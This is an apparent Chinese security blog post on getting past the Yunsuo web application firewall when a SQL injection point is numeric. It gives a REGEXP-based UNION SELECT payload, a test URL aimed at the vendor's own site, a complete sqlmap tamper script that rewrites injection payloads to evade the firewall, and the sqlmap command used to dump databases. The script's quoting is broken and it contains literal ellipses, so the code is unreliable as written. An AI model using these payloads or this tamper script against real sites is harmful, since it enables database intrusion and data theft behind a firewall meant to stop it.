0x00:简介

上一篇介绍了一下绕过云锁的一种思路,但是当注入点变为数字型时,继续使用此类注入会导致语法错误,所以此篇研究一下数字型注入点如何绕过云锁继续注入。

这里特别感谢刘兄给的建议

0x01:数字型绕过

上文使用的方法在应当数字型注入时,会产生语法错误,

那数字型注入怎么整呢 ,经过之前的fuzz 可以得出一个结论 云锁对注释符 /* */的过滤是不完整的,且经过测试 "/*" +语句+ "*/" 是可以绕过云锁的检测的,

如 http://help.yunsuo.com.cn/?id=1 "/" union select 1,2,3 "/"

那么 我们只需在数字型注入点构造此类关键字符即可绕过。

那么,如何构造呢 首先这串字符肯定不能随便加到语句中间,这样会导致语法错误

其次也不能加到语句末尾,这样会失去绕过的意义

那么 我们只能将其加到语句开始

接下来就是难点了 如何在不破坏语法的条件下将 "/*" 插入到语句前呢 ?

在我以为无解的时候 刘哥一语惊醒梦中人 可以正则啊

??? 还能这样

然后简单构造了一下语法

payload:SELECT * FROM users WHERE id = 1 REGEXP "[…/*]" union select 1,user(),3 只要匹配到任意字符即可

然后拿去云锁试一试

官网试一试

脚本自然而然就出来了

#!/usr/bin/env python
# -*- coding: utf-8 -*-



"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
Author:pureqh.top
"""


import re
import os

from lib.core.data import kb
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
__priority__ = PRIORITY.LOW

def dependencies():
    singleTimeWarnMessage("Bypass yunsuo_number by pureqh'%s' only %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))

def tamper(payload, **kwargs):

        payload=payload.replace("and","REGEXP "[.../*]" and")
        payload=re.sub(r'(ORDER BY \d+)', "x", payload)
        payload=payload.replace("UNION","REGEXP "[.../*]" union")
        return payload

mysql跑一跑

python sqlmap.py -u http://192.168.150.128/sqli-labs/Less-2/?id=1 --batch --dbs --random-agent --tamper=test -v3

云锁直接gg 当然 警告还是这么多

清理警告的办法大家都懂

把所有的都替换即可

这是个体力活 等我测一段时间吧

代码会收录至:https://github.com/pureqh/bypasswaf

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注